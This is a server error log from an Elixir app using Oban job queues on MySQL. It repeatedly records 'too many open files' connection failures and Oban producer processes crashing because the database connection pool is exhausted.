[Sat Sep  5 23:50:00.028000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:49:50.239584Z], limit: 3, uuid: "c3d71250-0224-4d51-8b8c-ac32dc18c4fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:50.239590Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31961>, refresh_timer: #Reference<0.2525715032.1077673987.4696>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:49:50.239145Z], limit: 50, uuid: "b806c48e-3339-4753-bafc-fb2b258db5dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:50.239151Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31960>, refresh_timer: #Reference<0.2525715032.1099431938.33911>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:49:50.239551Z], limit: 5, uuid: "f52baed4-32ec-4b51-a1df-9f5321868e4e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:50.239556Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31959>, refresh_timer: #Reference<0.2525715032.1099431938.33931>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:49:50.239586Z], limit: 5, uuid: "563e728b-8f5c-4332-8e38-0b0943e7823d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:50.239592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.139942>, refresh_timer: #Reference<0.2525715032.1121189889.139928>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:49:50.238609Z], limit: 20, uuid: "8ff767d2-97db-4a9d-9fab-8e94ea148f14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:50.238620Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31957>, refresh_timer: #Reference<0.2525715032.1121189889.139901>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:49:50.239301Z], limit: 10, uuid: "f45b9d72-578e-4633-9800-9031f3945130", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:50.239306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31958>, refresh_timer: #Reference<0.2525715032.1099431938.33920>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:03.234000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:03.318000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:05.964000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:07.136000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:08.125000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:12.046000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:50:02.241565Z], limit: 5, uuid: "4bf406fa-4a7c-4fc1-ac09-afbbc2f148df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:02.241571Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32246>, refresh_timer: #Reference<0.2525715032.1068498948.32205>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:50:02.242286Z], limit: 10, uuid: "e5921be7-a957-4002-a529-268442a1c5a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:02.242293Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32249>, refresh_timer: #Reference<0.2525715032.1099431938.34067>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
